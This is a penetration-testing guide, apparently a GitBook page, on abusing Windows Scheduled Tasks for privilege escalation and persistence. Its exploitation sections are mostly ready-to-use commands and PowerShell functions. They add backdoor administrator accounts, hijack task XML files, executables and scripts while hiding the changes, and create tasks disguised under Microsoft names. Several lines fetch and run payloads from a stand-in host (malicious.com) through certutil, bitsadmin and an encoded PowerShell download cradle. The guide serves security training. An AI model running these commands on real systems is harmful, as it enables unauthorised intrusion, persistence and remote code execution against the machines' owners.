This guide is currently under development, and I greatly welcome any suggestions or feedback or at reaper.gitbook@gmail.com

Scheduled tasks abuse

Task Permission Weaknesses

Understanding Windows Scheduled Tasks

Windows Scheduled Tasks are like having a personal assistant that automatically runs programs at specific times or when certain events happen. These tasks are managed by the Task Scheduler service, which runs with SYSTEM privileges - the highest level of access in Windows.

How Scheduled Tasks Work

Task Scheduler Architecture:

Task Scheduler Service (runs as SYSTEM)
├── Task Definitions (stored in registry and XML files)
├── Task Triggers (when to run: time, events, logon, etc.)
├── Task Actions (what to run: programs, scripts, commands)
└── Task Security (who the task runs as: SYSTEM, Admin, User)

Task Storage Locations:

  • Registry: HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache

  • XML Files: C:\Windows\System32\Tasks\

  • Legacy: C:\Windows\Tasks\ (older .job files)

Why Scheduled Tasks Are Valuable Targets

High-Privilege Execution:

  • Many tasks run as SYSTEM (highest Windows privileges)

  • Tasks can run even when no user is logged in

  • Tasks inherit the security context they're configured with

Attack Surface:

  • Task definitions might have weak permissions

  • Task executables might be modifiable

  • Working directories might be writable

  • Task creation might be allowed for low-privileged users

Real-World Task Examples

Legitimate System Tasks:

Task: Windows Update
Path: \Microsoft\Windows\WindowsUpdate\Automatic App Update
Runs as: SYSTEM
Action: C:\Windows\System32\UsoClient.exe StartScan
Trigger: Daily at 3:00 AM

Vulnerable Configuration Example: If the task executable C:\Program Files\UpdateApp\updater.exe is writable by regular users, an attacker could:

  1. Replace updater.exe with malicious code

  2. Wait for the scheduled task to run

  3. Their malicious code executes with SYSTEM privileges

Enumeration

Basic Task Discovery

List all scheduled tasks:

schtasks /query /fo LIST /v
schtasks /query /fo csv /v > tasks.csv

Show specific task details:

schtasks /query /tn "TaskName" /fo LIST /v

PowerShell task enumeration:

# Get all scheduled tasks
Get-ScheduledTask

# Get tasks with detailed information
Get-ScheduledTask | Get-ScheduledTaskInfo | Select-Object TaskName, LastRunTime, NextRunTime, LastTaskResult

# Get tasks running as SYSTEM
Get-ScheduledTask | Where-Object {$_.Principal.UserId -eq "SYSTEM"} | Select-Object TaskName, TaskPath

Advanced Task Analysis

Find high-value targets:

# Get task actions (executables)
Get-ScheduledTask | ForEach-Object {
    $task = $_
    $actions = $task | Get-ScheduledTaskAction
    foreach ($action in $actions) {
        [PSCustomObject]@{
            TaskName = $task.TaskName
            TaskPath = $task.TaskPath
            RunsAs = $task.Principal.UserId
            Execute = $action.Execute
            Arguments = $action.Arguments
            WorkingDirectory = $action.WorkingDirectory
        }
    }
} | Where-Object {$_.RunsAs -eq "SYSTEM"} | Format-Table -AutoSize

Check task file system permissions:

# Check task XML files
dir C:\Windows\System32\Tasks\ /s
icacls C:\Windows\System32\Tasks\ /t

# Check specific task file permissions
icacls "C:\Windows\System32\Tasks\Microsoft\Windows\TaskName"

Permission Analysis

Check task modification rights:

# Test if current user can create tasks
schtasks /create /tn "TestTask" /tr "cmd.exe" /sc once /st 23:59 /f 2>nul
if %errorlevel% equ 0 (
    echo [+] Can create scheduled tasks!
    schtasks /delete /tn "TestTask" /f >nul 2>&1
) else (
    echo [-] Cannot create scheduled tasks
)

Using AccessChk for permission analysis:

accesschk.exe -accepteula -d "C:\Windows\System32\Tasks"
accesschk.exe -accepteula -s "C:\Windows\System32\Tasks"

PowerShell permission checker:

# Check task file permissions
$taskFiles = Get-ChildItem "C:\Windows\System32\Tasks" -Recurse -File -ErrorAction SilentlyContinue

foreach ($file in $taskFiles) {
    try {
        $acl = Get-Acl $file.FullName
        $writeAccess = $acl.Access | Where-Object {
            ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
            ($_.FileSystemRights -like "*Write*" -or $_.FileSystemRights -like "*FullControl*")
        }
        
        if ($writeAccess) {
            Write-Output "[!] WRITABLE TASK FILE: $($file.FullName)"
        }
    } catch {}
}

Exploitation Techniques

Task Creation Privilege Escalation

Create SYSTEM task (requires task creation privileges):

schtasks /create /tn "SecurityUpdate" /tr "cmd.exe /c net user hacker Password123! /add && net localgroup administrators hacker /add" /sc onstart /ru SYSTEM /f

Create task with immediate execution:

schtasks /create /tn "QuickTask" /tr "C:\Users\Public\backdoor.exe" /sc once /st 23:59 /ru SYSTEM /f
schtasks /run /tn "QuickTask"

PowerShell task creation:

$action = New-ScheduledTaskAction -Execute "cmd.exe" -Argument "/c net user backdoor Password123! /add"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -LogonType ServiceAccount
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries

try {
    Register-ScheduledTask -TaskName "WindowsUpdate" -Action $action -Trigger $trigger -Principal $principal -Settings $settings
    Write-Output "[+] Scheduled task created successfully"
    
    # Run the task immediately
    Start-ScheduledTask -TaskName "WindowsUpdate"
} catch {
    Write-Output "[-] Failed to create scheduled task: $($_.Exception.Message)"
}

Task Modification Attacks

Hijack existing task:

# Backup original task
schtasks /query /tn "ExistingTask" /xml > original_task.xml

# Modify existing task to include malicious action
schtasks /change /tn "ExistingTask" /tr "cmd.exe /c C:\backdoor.exe && C:\original\executable.exe"

# Restore original task (cleanup)
schtasks /delete /tn "ExistingTask" /f
schtasks /create /tn "ExistingTask" /xml original_task.xml

Task File and Executable Hijacking

Understanding Task File Structure

Scheduled tasks are stored as XML files in C:\Windows\System32\Tasks\. These files contain task configuration, triggers, actions, and security settings. Each task has a corresponding entry in the registry for caching and quick access.

Task XML Structure Example

Typical Task XML Content:

<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2">
  <Triggers>
    <LogonTrigger>
      <Enabled>true</Enabled>
    </LogonTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <UserId>SYSTEM</UserId>
      <LogonType>ServiceAccount</LogonType>
      <RunLevel>HighestAvailable</RunLevel>
    </Principal>
  </Principals>
  <Actions Context="Author">
    <Exec>
      <Command>C:\Program Files\Application\service.exe</Command>
    </Exec>
  </Actions>
</Task>

What Makes This Vulnerable:

  • If the XML file has weak permissions, it can be directly modified

  • If the executable path is writable, the binary can be replaced

  • If the working directory is writable, DLL hijacking is possible

Enumeration

Finding Vulnerable Task Files

Check XML file permissions:

icacls "C:\Windows\System32\Tasks\Microsoft\Windows\TaskName"
accesschk.exe -accepteula -f "C:\Windows\System32\Tasks\*"

Search for interesting task content:

findstr /s /i "SYSTEM\|Administrator\|password\|credential" C:\Windows\System32\Tasks\*

PowerShell executable permission check:

# Check task executable permissions
Get-ScheduledTask | Get-ScheduledTaskAction | ForEach-Object {
    if ($_.Execute -and (Test-Path $_.Execute)) {
        try {
            $acl = Get-Acl $_.Execute
            $writeAccess = $acl.Access | Where-Object {
                ($_.IdentityReference -like "*Users*" -or $_.IdentityReference -like "*Everyone*") -and
                ($_.FileSystemRights -like "*Write*" -or $_.FileSystemRights -like "*FullControl*")
            }
            
            if ($writeAccess) {
                Write-Output "[!] WRITABLE TASK EXECUTABLE: $($_.Execute)"
            }
        } catch {}
    }
}

Registry-Based Task Analysis

Check task registry permissions:

accesschk.exe -accepteula -kvusw "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache"
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks" /s

Exploitation Techniques

Direct XML File Modification

PowerShell XML manipulation:

function Set-TaskHijack {
    param(
        [string]$TaskPath,
        [string]$MaliciousExecutable
    )
    
    $taskXmlPath = "C:\Windows\System32\Tasks$TaskPath"
    
    if (Test-Path $taskXmlPath) {
        try {
            # Backup original
            Copy-Item $taskXmlPath "$taskXmlPath.backup"
            
            # Load and modify XML
            [xml]$taskXml = Get-Content $taskXmlPath
            
            # Create new malicious action
            $newAction = $taskXml.CreateElement("Exec", $taskXml.Task.NamespaceURI)
            $command = $taskXml.CreateElement("Command", $taskXml.Task.NamespaceURI)
            $command.InnerText = $MaliciousExecutable
            $newAction.AppendChild($command)
            
            # Add to actions
            $actions = $taskXml.Task.Actions
            $actions.AppendChild($newAction)
            
            # Save modified XML
            $taskXml.Save($taskXmlPath)
            
            Write-Output "[+] Task XML hijacked: $TaskPath"
        } catch {
            Write-Output "[-] Failed to hijack task: $($_.Exception.Message)"
        }
    }
}

# Example usage (requires write permission to task file)
Set-TaskHijack -TaskPath "\Microsoft\Windows\UpdateTask" -MaliciousExecutable "C:\backdoor.exe"

Task Executable Replacement

Binary replacement attack:

# Find tasks with writable executables
schtasks /query /fo csv /v | findstr /i "C:\Program Files"

# Check executable permissions
icacls "C:\Program Files\Application\taskexe.exe"

# If writable, replace with malicious executable
copy "C:\Program Files\Application\taskexe.exe" "taskexe.exe.backup"
copy "C:\malicious.exe" "C:\Program Files\Application\taskexe.exe"

# Restore original (cleanup)
copy "taskexe.exe.backup" "C:\Program Files\Application\taskexe.exe"

PowerShell Script Hijacking

Find PowerShell-based tasks:

Get-ScheduledTask | Get-ScheduledTaskAction | Where-Object {
    $_.Execute -like "*powershell*" -or $_.Arguments -like "*.ps1"
} | Select-Object Execute, Arguments

Script hijacking function:

function Set-ScriptHijack {
    param([string]$ScriptPath)
    
    if (Test-Path $ScriptPath) {
        # Backup original
        Copy-Item $ScriptPath "$ScriptPath.backup"
        
        # Create malicious script that maintains original functionality
        $maliciousContent = @"
# Malicious payload
net user hacker Password123! /add
net localgroup administrators hacker /add

# Original script content (to avoid detection)
$(Get-Content "$ScriptPath.backup" -Raw)
"@
        
        Set-Content -Path $ScriptPath -Value $maliciousContent
        Write-Output "[+] Script hijacked: $ScriptPath"
    }
}

DLL Hijacking in Task Context

Find potential DLL hijacking opportunities:

# Use Process Monitor to identify missing DLLs when task runs
# Look for "NAME NOT FOUND" or "PATH NOT FOUND" entries

# Check if task working directory is writable
icacls "C:\Program Files\TaskApp"

# Place malicious DLL in writable location
copy malicious.dll "C:\Program Files\TaskApp\missing.dll"

Task Creation and Modification

Understanding Task Privileges and Security Context

Tasks can run under different security contexts, which determines what level of access they have:

  • SYSTEM - Highest privileges, can access all system resources

  • Administrator - High privileges but with some limitations

  • Specific User Account - Limited to that user's privileges

  • Interactive User - Runs with currently logged-in user's privileges

Task Trigger Types

Common Trigger Types:

  • Time-based - Specific times, intervals, or schedules

  • Event-based - System events, log entries, or state changes

  • Logon triggers - User logon/logoff events

  • Startup triggers - System boot events

  • Idle triggers - System idle state

Enumeration

Task Trigger Analysis

Enumerate task triggers:

# Get trigger information for all tasks
schtasks /query /fo LIST /v | findstr /i "Schedule\|Trigger\|Start"

# Get specific task trigger details
schtasks /query /tn "TaskName" /fo LIST /v | findstr /i "Trigger\|Schedule"

PowerShell trigger analysis:

# Get all task triggers with details
Get-ScheduledTask | Get-ScheduledTaskTrigger | Select-Object TaskName, TriggerType, StartBoundary, Enabled

# Find tasks triggered at logon
Get-ScheduledTask | Get-ScheduledTaskTrigger | Where-Object {$_.TriggerType -eq "AtLogon"} | Select-Object TaskName, Enabled

# Find tasks with frequent execution
Get-ScheduledTask | Get-ScheduledTaskTrigger | Where-Object {
    $_.Repetition -and $_.Repetition.Interval -and 
    ([TimeSpan]$_.Repetition.Interval).TotalMinutes -lt 60
} | Select-Object TaskName, @{Name="IntervalMinutes";Expression={([TimeSpan]$_.Repetition.Interval).TotalMinutes}}

Security Context Analysis

Find high-privilege tasks:

# Analyze task security context
Get-ScheduledTask | ForEach-Object {
    [PSCustomObject]@{
        TaskName = $_.TaskName
        TaskPath = $_.TaskPath
        UserId = $_.Principal.UserId
        LogonType = $_.Principal.LogonType
        RunLevel = $_.Principal.RunLevel
        State = $_.State
    }
} | Where-Object {$_.UserId -eq "SYSTEM" -or $_.RunLevel -eq "HighestAvailable"} | Format-Table -AutoSize

Exploitation Techniques

Stealth Task Creation

Create hidden tasks in legitimate locations:

# Create task in obscure but legitimate location
schtasks /create /tn "\Microsoft\Windows\SystemRestore\SR" /tr "C:\Windows\System32\backdoor.exe" /sc onstart /ru SYSTEM /f

# Create task with legitimate-sounding name
schtasks /create /tn "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /tr "C:\backdoor.exe" /sc daily /st 02:00 /ru SYSTEM /f

PowerShell stealth task with encoded payload:

# Create task with encoded PowerShell payload
$encodedPayload = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX (New-Object Net.WebClient).DownloadString('http://malicious.com/payload.ps1')"))

$action = New-ScheduledTaskAction -Execute "powershell.exe" -Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -EncodedCommand $encodedPayload"
$trigger = New-ScheduledTaskTrigger -Daily -At "3:00AM"
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive
$settings = New-ScheduledTaskSettingsSet -Hidden -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries

Register-ScheduledTask -TaskName "SystemOptimizer" -Action $action -Trigger $trigger -Principal $principal -Settings $settings

Task Trigger Manipulation

Modify existing task triggers:

# Change task to run more frequently
schtasks /change /tn "ExistingTask" /sc minute /mo 1

# Change task to run at logon
schtasks /change /tn "ExistingTask" /sc onlogon

# Enable disabled task
schtasks /change /tn "DisabledTask" /enable

Event-based trigger exploitation:

# Create task triggered by specific Windows event
schtasks /create /tn "EventTask" /tr "C:\backdoor.exe" /sc onevent /ec Security /mo "*[System[EventID=4624]]" /ru SYSTEM /f

# Create task triggered by application event
schtasks /create /tn "AppEventTask" /tr "cmd.exe /c echo Triggered > C:\temp\log.txt" /sc onevent /ec Application /mo "*[System[EventID=1000]]" /f

Living Off The Land Techniques

Using built-in Windows binaries:

# Use certutil for payload download and execution
schtasks /create /tn "CertUpdate" /tr "certutil.exe -urlcache -split -f http://malicious.com/payload.exe C:\temp\payload.exe && C:\temp\payload.exe" /sc onstart /ru SYSTEM /f

# Use bitsadmin for stealthy download
schtasks /create /tn "BackgroundTransfer" /tr "bitsadmin.exe /transfer update /download /priority high http://malicious.com/payload.exe C:\temp\update.exe && C:\temp\update.exe" /sc daily /st 01:00 /f

# Use mshta for scriptless execution
schtasks /create /tn "HTMLProcessor" /tr "mshta.exe javascript:eval('var a=new ActiveXObject(\"WScript.Shell\");a.Run(\"cmd.exe /c powershell.exe -enc <BASE64>\",0);window.close();')" /sc onlogon /f

Task Masquerading

Copy and modify legitimate tasks:

# Copy legitimate task and modify it
schtasks /query /tn "\Microsoft\Windows\Defrag\ScheduledDefrag" /xml > legit_task.xml

# Modify XML to include malicious action while keeping original
# Re-create with new name
schtasks /create /tn "\Microsoft\Windows\Maintenance\SystemCleanup" /xml modified_task.xml

Quick Enumeration

PowerUp task checks:

Import-Module .\PowerUp.ps1
Get-ModifiableScheduledTaskFile
Get-UnquotedScheduledTask
Invoke-AllChecks | Where-Object {$_.Check -like "*Task*"}

WinPEAS task analysis:

winpeas.exe scheduledtasks
winpeas.exe systeminfo | findstr /i "task\|schedule"

Seatbelt task enumeration:

Seatbelt.exe ScheduledTasks
Seatbelt.exe InterestingFiles

Last updated

Was this helpful?